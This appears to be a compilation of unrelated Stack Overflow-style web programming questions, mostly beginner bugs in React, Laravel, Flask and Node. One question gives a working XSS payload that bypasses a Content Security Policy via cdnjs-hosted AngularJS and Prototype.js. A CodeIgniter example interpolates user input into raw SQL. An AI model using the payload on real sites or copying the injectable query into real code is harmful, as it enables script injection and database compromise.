onClick or onTouchEnd doesn’t work for iOS but works in desktop

I am creating a website for which i need to display different product card on a page with the URL being provided. I tested in desktop browser and onClick triggers properly whether internal or external link but when I am testing the page on mobile, it doesnt work at all in iOS 17 or higher. Can someone help me with this?

Below is the code for my react component:

import openExternalIcon from '../assets/images/link-external.svg'
import Button from 'react-bootstrap/Button';
export default function ProjectCard({id="dummy", project="dummy", description="dummy", image="dummy", url=""}){

    function handleClick(target){
        if(target){
            window.open(
                target,
                "_blank",
            )
        }
    }

    function handleTouch(target, event){
        event.preventDefault();
        if(target){
            window.open(
                target,
                "_blank",
            )
        }
        
    }

    return(
        <>  
            <div className='project-card d-flex flex-column position-relative desktop' id={id} onClick={()=>handleClick(url)} onTouchEnd={(e) => handleTouch(url, e)} >
                <a href={url} className="mobile" />
                <div className="p-lg-4 p-3 project-image">
                    <img src={image} alt="project images" width="100%" />
                </div>
                <div className="p-lg-4 p-3 project-details">
                    <h3 className="text-white">{project}</h3>
                    <p className="project-description">{description}</p>
                </div>
                {
                    url ? 
                        <Button 
                            type="submit"
                            className='btn-lg open-externally d-flex justify-content-center align-items-center'
                        >
                            <img src={openExternalIcon} alt="externally open link" className='align-self-center'/>
                        </Button>
                        :
                        ''
                }
            </div>      
        </>
    )
}

Question about firebase data management and data restructuring

I am currently writing a chat app using react native. In my app, I am trying to fetch data from firebase and restructure it so that it can be displayed in the flatList of the chatscreen of my app. I have written the below code to achieve the aforementioned action:

const [groupChatMessageData, setGroupChatMessageData] = useState();
const [testMessages, setTestMessages] = useState();
const groupId = props.route.params && props.route.params.chatId;

const getNewGroupMessages = async (chatId) => {
  try {
    const app = getFirebaseApp();
    const dbRef = ref(getDatabase(app));
    const messagesRef = child(dbRef, `messages/${chatId}`);

    const snapshot = await get(messagesRef);
    return snapshot.val();
  } catch (error) {
    console.log(error);
  }
};

useEffect(() => {
    if (!groupId) return;
    const getGroupMessages = async () => {
      const data = await getNewGroupMessages(groupId);
      setGroupChatMessageData(data);
    };
    getGroupMessages();

    if (groupChatMessageData) {
      const groupChatMessages = [];
      for (const key in groupChatMessageData) {

        const message = groupChatMessageData[key];

        groupChatMessages.push({
          key,
          ...message,
        });
      }

      setTestMessages(groupChatMessages);
    } else {
      return;
    }
  }, []);

  console.log("groupChatMessageData");
  console.log(groupChatMessageData);

  console.log("groupChatMessages");
  console.log(groupChatMessages);

  console.log("testMessages");
  console.log(testMessages);


The data structure of “groupChatMessageData” is as follows:

{
    "-abcdefg": {
        "readBy": {
            " abcdefg ": [Object]
        },
        "sentAt": "2024-04-26T07:16:19.414Z",
        "sentBy": "abc123",
        "text": "Hi"
    },
    "-bcdefgh": {
        "readBy": {
            " bcdefgh ": [Object]
        },
        "sentAt": "2024-04-27T05:17:36.020Z",
        "sentBy": " bcd234 ",
        "text": "Hi"
    }
}

After running the code, I expect that there would be terminal logs showing for “groupChatMessageData”, “groupChatMesages” and “testMesages”. However, it appears that only the “groupChatMessageData”can be fetched from the firebase but the data restructuring of “groupChatMessageData” to “groupChatMesages” failed. Moreover, it appears weird that the “testMessages” can sometimes be shown on the terminal log (when I commented out the “groupChatMessages”) but sometimes failed. Regardless of the aforemtnioned, the data stored in the “testMessages” can never be displayed in the flatList.

how to update a variable php in laravel using javascript?

<?php

use AppModelspetBreedType;

$breeds = petBreedType::all();
$hasJantan = false;

?>
 {{-- {{ dd($hasJantan) }} --}}
                <select class="" name="types[]" id="types" multiple>
                    <option value="2" {{ in_array('2', old('types', [])) ? 'selected' : '' }} {{ $hasJantan ? 'selected' : '' }}>Anjing</option>
                    <option value="1" {{ in_array('1', old('types', [])) ? 'selected' : '' }}>Kucing</option>
                </select>
<script>
    var url = window.location.href;

    function getURLParameters(url) {
    var queryString = url.split('?')[1];
    if (!queryString) {
        return {};
    }

    var params = queryString.split('&');
    var result = {};
   
    for (var i = 0; i < params.length; i++) {
        var param = params[i].split('=');
        var key = decodeURIComponent(param[0]);
        var value = decodeURIComponent(param[1]);
        
        if (result[key]) {
            if (Array.isArray(result[key])) {
                result[key].push(value);
            } else {
                result[key] = [result[key], value];
            }
        } else {
            result[key] = value;
        }
    }
    return result;
}

var parameters = getURLParameters(url);
console.log(parameters);
if (parameters['Gender[]'] && parameters['Gender[]'].length === 2) {
    console.log('Gender with two values:', parameters['Gender[]']);
} else {
    console.log('Gender doesn't have two value.');
}
var hasJantan = parameters['Gender[]'] && parameters['Gender[]'].includes('Jantan');
var hasJantan = {{ $hasJantan ? 'true' : 'false' }};
console.log(hasJantan);
</script>

this is my code in laravel, i want to update the variable hasJantan using javascript, if i console the var hasJantan in the script it return true but when i dd($hasJantan) in the blade it still return false. How can i update the variable? i’m not very good at using PHP

Error when the project dependencies use big integer literals

When I run the npm run dev command in the terminal of Visual Studio Basic, the local host address is showing up. When I visit the website, it does not load and it is showing error logs like this:

X [ERROR] Big integer literals are not available in the configured target environment ("chrome87", "edge88", "es2020", "firefox78", "safari13" + 2 overrides)

    node_modules/thirdweb/dist/esm/utils/signatures/sign.js:23:22:
      23 │         v: recovery ? 28n : 27n,
         ╵                       ~~~

X [ERROR] Big integer literals are not available in the configured target environment ("chrome87", "edge88", "es2020", "firefox78", "safari13" + 2 overrides)     

    node_modules/thirdweb/dist/esm/utils/signatures/sign.js:23:28:
      23 │         v: recovery ? 28n : 27n,
         ╵                             ~~~

X [ERROR] Big integer literals are not available in the configured target environment ("chrome87", "edge88", "es2020", "firefox78", "safari13" + 2 overrides)

    node_modules/thirdweb/dist/esm/utils/signatures/signature-to-hex.js:27:18:
      27 │         if (v === 27n) {
         ╵                   ~~~

X [ERROR] Big integer literals are not available in the configured target environment ("chrome87", "edge88", "es2020", "firefox78", "safari13" + 2 overrides)     

    node_modules/thirdweb/dist/esm/utils/signatures/signature-to-hex.js:30:18:
      30 │         if (v === 28n) {
         ╵                   ~~~

X [ERROR] Big integer literals are not available in the configured target environment ("chrome87", "edge88", "es2020", "firefox78", "safari13" + 2 overrides)     

    node_modules/thirdweb/dist/esm/contract/deployment/utils/create-2-factory.js:22:7:
      22 │     v: 27n,
         ╵        ~~~

X [ERROR] Big integer literals are not available in the configured target environment ("chrome87", "edge88", "es2020", "firefox78", "safari13" + 2 overrides)     

    node_modules/thirdweb/dist/esm/contract/deployment/utils/create-2-factory.js:147:65:
      147 │     const gasPrice = gasOptions.gasPrice ? gasOptions.gasPrice : 100n * 10n ** 9n;
          ╵                                                                  ~~~~

X [ERROR] Big integer literals are not available in the configured target environment ("chrome87", "edge88", "es2020", "firefox78", "safari13" + 2 overrides)

    node_modules/thirdweb/dist/esm/contract/deployment/utils/create-2-factory.js:147:72:
      147 │     const gasPrice = gasOptions.gasPrice ? gasOptions.gasPrice : 100n * 10n ** 9n;
          ╵                                                                         ~~~

X [ERROR] Big integer literals are not available in the configured target environment ("chrome87", "edge88", "es2020", "firefox78", "safari13" + 2 overrides)

    node_modules/thirdweb/dist/esm/contract/deployment/utils/create-2-factory.js:147:79:
      147 │     const gasPrice = gasOptions.gasPrice ? gasOptions.gasPrice : 100n * 10n ** 9n;
          ╵                                                                                ~~

X [ERROR] Big integer literals are not available in the configured target environment ("chrome87", "edge88", "es2020", "firefox78", "safari13" + 2 overrides)

    node_modules/thirdweb/dist/esm/contract/deployment/utils/create-2-factory.js:148:60:
      148 │     const gas = gasOptions.gasLimit ? gasOptions.gasLimit : 100000n;
          ╵                                                             ~~~~~~~

X [ERROR] Big integer literals are not available in the configured target environment ("chrome87", "edge88", "es2020", "firefox78", "safari13" + 2 overrides)     

    node_modules/thirdweb/dist/esm/contract/deployment/utils/create-2-factory.js:161:15:
      161 │         nonce: 0n,
          ╵                ~~

X [ERROR] Big integer literals are not available in the configured target environment ("chrome87", "edge88", "es2020", "firefox78", "safari13" + 2 overrides)

    node_modules/thirdweb/dist/esm/contract/deployment/utils/create-2-factory.js:175:18:
      175 │         gasPrice: 1n,
          ╵                   ~~

X [ERROR] Big integer literals are not available in the configured target environment ("chrome87", "edge88", "es2020", "firefox78", "safari13" + 2 overrides)

    node_modules/thirdweb/dist/esm/contract/deployment/utils/create-2-factory.js:179:18:
      179 │         gasPrice: 40000n * 10n ** 9n,
          ╵                   ~~~~~~

X [ERROR] Big integer literals are not available in the configured target environment ("chrome87", "edge88", "es2020", "firefox78", "safari13" + 2 overrides)     

    node_modules/thirdweb/dist/esm/contract/deployment/utils/create-2-factory.js:179:27:
      179 │         gasPrice: 40000n * 10n ** 9n,
          ╵                            ~~~

X [ERROR] Big integer literals are not available in the configured target environment ("chrome87", "edge88", "es2020", "firefox78", "safari13" + 2 overrides)

    node_modules/thirdweb/dist/esm/contract/deployment/utils/create-2-factory.js:179:34:
      179 │         gasPrice: 40000n * 10n ** 9n,
          ╵                                   ~~

X [ERROR] Big integer literals are not available in the configured target environment ("chrome87", "edge88", "es2020", "firefox78", "safari13" + 2 overrides)

    node_modules/thirdweb/dist/esm/contract/deployment/utils/create-2-factory.js:183:18:
      183 │         gasPrice: 100000n,
          ╵                   ~~~~~~~

X [ERROR] Big integer literals are not available in the configured target environment ("chrome87", "edge88", "es2020", "firefox78", "safari13" + 2 overrides)     

    node_modules/thirdweb/dist/esm/contract/deployment/utils/create-2-factory.js:187:18:
      187 │         gasPrice: 4000n * 10n ** 9n,
          ╵                   ~~~~~

How can this be solved?

Display images with vite using markdown from express server

I am using express to store images, using markdown.
I use multer on backend to store Images on backend on a folder called ‘uploads’.
In the controller, I build the URL referred to the image, and push it into a model array.

const imageURL = `${req.protocol}://${req.get('host')}/uploads/${req.file.filename}`;

The result would be :

  1. Production : https://blog-server-bae4.onrender.com/uploads/1714303937397.jpg
  2. Development : http://localhost:3000/api/uploads/1714303937397.jpg
app.use('/uploads', express.static(path.join(__dirname, 'uploads')));

On frontend, after uploading the image to the server, I get back the link specified. If I access it within local development, I get the image with no problems. But when I access it over production, I get invalid URL, because I have the Not found express router.


{
"message": "The url you provided does not exists"
}

On the network tab in the chrome inspector I have 404 error.enter image description here
Network description request

Breaking Through XSS: Bypassing CSP and Dealing with EvalError

I’m attempting an XSS attack on my server, which has CSP configured as follows:

.use(
helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: [
      "'self'",
      "cdnjs.cloudflare.com"
    ],
  },
})
)

The attacker is provided with an input field:

<form action="/createThread?topic={{lcTopic}}" method="post" class="">
    <h2 class="text-muted">New Thread</h2>
    <hr>
    <div class="form-group">
      <label>Body</label>
      <textarea type="text" rows="10" class="form-control" name="body" placeholder="Type the body of your thread here..."></textarea>
    </div>
    <button type="submit" class="btn btn-primary">Create Thread</button>
    <button type="button" id="threadPreview" class="btn btn-default">Preview</button>
  </form>`

I managed to bypass the CSP simply by injecting the following:

<SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></SCRIPT>
<SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></SCRIPT>
<div ng-app ng-csp style="display:none;">
  {{$on.curry.call().alert('xss')}}
</div>

I’m attempting to execute:

{{ x = $on.curry.call().eval("fetch('/').then(d => {})") }}

as described in hacktricks
, but I encounter an EvalError. I don’t understand how to bypass this EvalError.

How I can change data fetched from data-base in view using JavaScript on clicking any html element like a tag or button tag or etc in Codeigniter?

in view

<li class="nav-item">
<a class="d-flex m-2 py-2 bg-light rounded-pill active" data-bs-toggle="pill" href="#tab-1">
<span class="text-dark" style="width: 130px;">All Products</span>
</a>
</li>
<li class="nav-item">
<a class="d-flex m-2 py-2 bg-light rounded-pill active" data-bs-toggle="pill" href="#tab-1">
<span class="text-dark" style="width: 130px;">Mango</span>
</a>
</li>

on click on “All Products” and “Mango” it fatch data from data base using “prductByCategory” function

public function prductByCategory($cat){
        $result = $this->Home_Model->getProductsbyCategoryname($cat);
        echo jeson_encode($result);
    }

model

public function getProductsbyCategoryname($cat){
        $sql = "SELECT  * FROM mst_products where mp_name = '{$cat}'";
        return $this->db->query($sql)->result_array();
    }

Now How can I Show the resultan data with out reloading the page. Need your help

Need help on why my website isnt functioning as intended

i am making a a prank game of spin to win for my friend’s upcoming bday
however, i seem to be running on a lot of problems for my code
i used python as backend and html css js as frontend and used flask to make sure the website runs the python code
however the problem is that neither the website nor the code is running as expected
it needs to be spin multiple times to get one result
it gives result of values whose probability i have set to 0
and it frequently gives 40 and 50 as answer even tho the values with highest probability are 10 and 20
the values are 10, 20, 30, 40, 50, 60, 70, 80, and 90 by the way

i expected that when i spin the wheel, it mainly gives me 10 20 or 30 as a result
but i need to spin the wheel multiple times in order to get one result
and that result is not the one which i want, i.e. the value whose probability ive set to 0 or extremely low

from flask import Flask, render_template, jsonify
import random

app = Flask(__name__, static_folder='static')


# Function to define probabilities for the spinning wheel
def define_probabilities():
    values = [10, 20, 30, 40, 50, 60, 70, 80, 90]
    probabilities = [0.25, 0.25, 0.1, 0.1, 0.1, 0, 0, 0, 0]  # Adjusted probabilities

    # Spin the wheel
    result = random.choices(values, weights=probabilities)[0]
    while result not in [10, 20, 30]:  # Ensure only 10, 20, or 30 as result
        result = random.choices(values, weights=probabilities)[0]

    return result


# Route to spin the wheel
@app.route('/spin-wheel')
def spin():
    result = define_probabilities()
    return jsonify(result=result)


# Route to serve the HTML file
@app.route('/')
def index():
    return render_template('index.html')


if __name__ == '__main__':
    app.run(debug=True)

this is the python code

    <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Spin to Win</title>
    <link rel="stylesheet" type="text/css" href="{{ url_for('static', filename='styles.css') }}">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <style>
        /* CSS styles for the spinning wheel */
        body {
            font-family: Arial, sans-serif;
            background-color: #f0f0f0;
            margin: 0;
            padding: 0;
        }

        .container {
            max-width: 600px;
            margin: 50px auto;
            text-align: center;
            position: relative;
        }

        h1 {
            color: #333;
            margin-top: 0;
        }

        .wheel-container {
            margin-top: 20px;
            position: relative;
        }

        canvas {
            display: block;
            margin: 0 auto;
            border: 2px solid black; /* Add a border for visualization */
        }

        #spin-button {
            margin-top: 20px;
            padding: 10px 20px;
            font-size: 16px;
            border: none;
            background-color: #4caf50;
            color: white;
            cursor: pointer;
            border-radius: 5px;
            transition: background-color 0.3s ease;
        }

        #spin-button:hover {
            background-color: #45a049;
        }

        #result {
            margin-top: 20px;
            font-size: 18px;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>Spin to Win Wheel</h1>
        <div class="wheel-container">
            <canvas id="canvas" width="400" height="400"></canvas>
            <button id="spin-button">Spin</button>
        </div>
        <div id="result"></div>
    </div>

    <script>
        // JavaScript code for the spinning wheel
        $(document).ready(function() {
            var wheel = document.getElementById('canvas');
            var ctx = wheel.getContext('2d');
            var radius = wheel.width / 2;
            var angle = Math.PI * 2 / 9; // 9 segments
            var rotation = 0;

            function drawWheel(segments) {
                ctx.clearRect(0, 0, wheel.width, wheel.height);
                ctx.strokeStyle = 'black';
                ctx.lineWidth = 2;
                ctx.font = 'bold 14px Arial';
                ctx.textBaseline = 'middle';

                for (var i = 0; i < segments.length; i++) {
                    var startAngle = i * angle + rotation;
                    var endAngle = (i + 1) * angle + rotation;

                    ctx.fillStyle = (i % 2 === 0) ? '#ddd' : '#555';
                    ctx.beginPath();
                    ctx.moveTo(radius, radius);
                    ctx.arc(radius, radius, radius - 10, startAngle, endAngle);
                    ctx.closePath();
                    ctx.stroke();
                    ctx.fill();

                    ctx.save();
                    ctx.fillStyle = 'black';
                    var text = segments[i];
                    ctx.translate(radius + Math.cos(startAngle + angle / 2) * (radius / 2), radius + Math.sin(startAngle + angle / 2) * (radius / 2));
                    ctx.rotate(startAngle + angle / 2 + Math.PI / 2);
                    ctx.fillText(text, -ctx.measureText(text).width / 2, 0);
                    ctx.restore();
                }
            }

            function spinWheel() {
                $('#spin-button').prop('disabled', true);
                var totalRotation = Math.PI * 10 + Math.random() * Math.PI; // Spin at least 5 times
                var start = Date.now();
                var duration = 3000; // Spin for 3 seconds

                function spinAnimation() {
                    var elapsed = Date.now() - start;
                    var progress = elapsed / duration;
                    rotation += (totalRotation / duration) * (1 - Math.exp(-10 * progress)); // Apply easing function
                    drawWheel(["10", "20", "30", "40", "50", "60", "70", "80", "90"]);

                    if (elapsed < duration) {
                        setTimeout(spinAnimation, 10);
                    } else {
                        $.ajax({
                            url: '/spin-wheel',
                            type: 'GET',
                            success: function(data) {
                                var result = data.result;
                                $('#result').text(result);
                                $('#spin-button').prop('disabled', true); // Disable spin button after spinning once
                            },
                            error: function() {
                                console.log('Error spinning the wheel');
                                $('#spin-button').prop('disabled', false);
                            }
                        });
                    }
                }

                spinAnimation();
            }

            $('#spin-button').click(function() {
                spinWheel();
            });

            drawWheel(["10", "20", "30", "40", "50", "60", "70", "80", "90"]);
        });
    </script>
</body>
</html>

this is the website code

Javascript Popup Reset

Sorry I’m pretty hopeless with Javascript. I have a script that shows a popup which then fades out. But I cannot get it to reset. The code as it stands only works once.

function myFunction$users5() {
  var pop = document.getElementById("myPopup$users5");
  pop.classList.add("show");


  setTimeout(function() {
    $('#myPopup$users5').fadeOut('fast', function() {

      pop.classList.remove("show");
    });
  }, 3000);
}
<div class="popup" onclick="myFunction'.$users5.'()"><img src="unlovesm.png" style="float:right"><span class="popuptext" id="myPopup'.$users5.'">Login to Like.</span></div>

The popup shows and fades out correctly but thats it. Clicking the div again doesn’t show the popup a second time.

What’s a simple, standard way to tinker with a running app?

Given an index.js script that defines an app within a variable (i.e. a collection of in-memory state and methods), how would you go about ensuring that calls to run the script operate on an existing instance of the app, and not just create new instances?

For example, consider this app that just defines a counter, and methods to start an increment interval, pause the interval, and read the current count:

// ####################################################
// Define app
// ####################################################

const app = (() => {
    let counterInterval;
    let counter = 0;

    function startCounter() {
        counterInterval = setInterval(() => counter++, 1000);
    }

    function pauseCounter() {
        clearInterval(counterInterval);
    }

    function showCounter() {
        console.log(counter);
    }

    return {
        startCounter,
        pauseCounter,
        showCounter,
    }
})();

// ####################################################
// Run selected app method
// ####################################################

const argvs = process.argv.slice(2);
const [command, ...args] = argvs;

if (command === 'startCounter') {
    app.startCounter();
}

if (command === 'pauseCounter') {
    app.pauseCounter();
}

if (command === 'showCounter') {
    app.showCounter();
}

If I run node ./index.js startCounter, the app runs and the terminal is locked into the process. How can I make it so that:

  • The process runs in the background; and
  • Subsequent calls to node ./index.js showCounter show the value of the counter within the app that was originally ran (as opposed to creating new processes)?

The requirement seems to me like quite a common use case, so I’m thinking that there must be a mechanism in NodeJS that provides for this, but I can’t find one. Do I have to use third party toolkits for this?

Autocomplete in react-google-autocomplete does not take me to the place on the map

This could also be a rendering issue but I am not sure.
apiKey is correect.

I am expecting the user to be taken to the coordinates on the map.

I can see logged that my place has been selected but it does not take me to thee map.

import { GoogleMap} from '@react-google-maps/api';
import Autocomplete from 'react-google-autocomplete';
  const [map, setMap] = useState(null);
const handlePlaceSelect = (place) => {
    console.log('Place selected:', place);
    if (!place.geometry) {
      window.alert("No details available for input: '" + place.name + "'");
      return;
    }

    if (map) {
      if (place.geometry.viewport) {
        map.fitBounds(place.geometry.viewport);
      } else {
        map.setCenter(place.geometry.location);
        map.setZoom(17); // Zoom in to an appropriate level when searching by place name
      }
    } else {
      console.error('Map is not yet initialized');
    }
  };

 <GoogleMap
            mapContainerStyle={mapContainerStyle}
            zoom={11}
            center={center}
            options={{ styles: mapStyles, fullscreenControl: false }}
            onLoad={(map) => setMap(map)}
          >
            {map && (
              <Autocomplete
                apiKey=""
                onPlaceSelected={handlePlaceSelect}
                options={{
                }}
                style={{ width: '100%', position: 'absolute', zIndex: '100' }}
                placeholder="Search..."
              />
            )}
          </GoogleMap>

Creating a browser extension to download multiple files (videos, audios, images) as a ZIP archive

I want to create a browser extension that allows users to input a list of links (videos, audios, images) and download all of them as a ZIP archive. I have looked into the chrome.downloads.download API, but it seems that it does not have the permission to save files directly to the user’s machine. Instead, it prompts the user for the download location if the “Ask where to save each file before downloading” setting is enabled (for example, in Edge, if I enable “Ask me what to do with each download,” it will ask me for the save location every time chrome.downloads.download is called).
To avoid this, I considered downloading all the files first, compressing them into a ZIP archive, and then allowing the user to download the single ZIP file. However, I couldn’t find any guidance on how to implement this approach.
My questions are:

How can I start implementing this feature of downloading multiple files as a ZIP archive in a browser extension?
Is there a more optimized way to achieve this functionality without downloading all files first and then compressing them?

I would appreciate any guidance or suggestions on how to proceed with this task. Please let me know if you need any clarification or additional information.

can’t pass queryselector values to an object JavaScript [duplicate]

I’ve been creating a booklist app by a tutorial, which is OOP JavaScript, but I’m having troubles assigning values to an object. User writes title, author and isbn of the book and then adds it to the booklist. The problem is that all of the three values (title, author, isbn) display as undefined once added to the booklist. My code is exact same as one in video tutorial and I dont know what is the problem.

class Book {
    constructor(title, author, isbn){
        this.title;
        this.author;
        this.isbn;
    }
}
document.addEventListener('DOMContentLoaded', UI.displayBooks);
document.querySelector('#book-form').addEventListener('submit', (e) => {
    e.preventDefault();

    const title = document.querySelector('#title').value;
    const author = document.querySelector('#author').value;
    const isbn = document.querySelector('#isbn').value;
    console.log(title);
    console.log(author);
    console.log(isbn);
    const book = new Book (title, author, isbn);
    console.log(book);
    UI.addBookToList(book);
});

As you see, I console.logged all variables to make sure that their values are okay. However, when I console.log(book) it doesn’t show it in the console correctly, just it’s name and type. So I think the problem here is that the program fails to pass values to the object.

I feel kinda stupid, because I’ve checked the comments under the video tutorial and nobody was having any problems. It’s my first JS project and I’m really confused.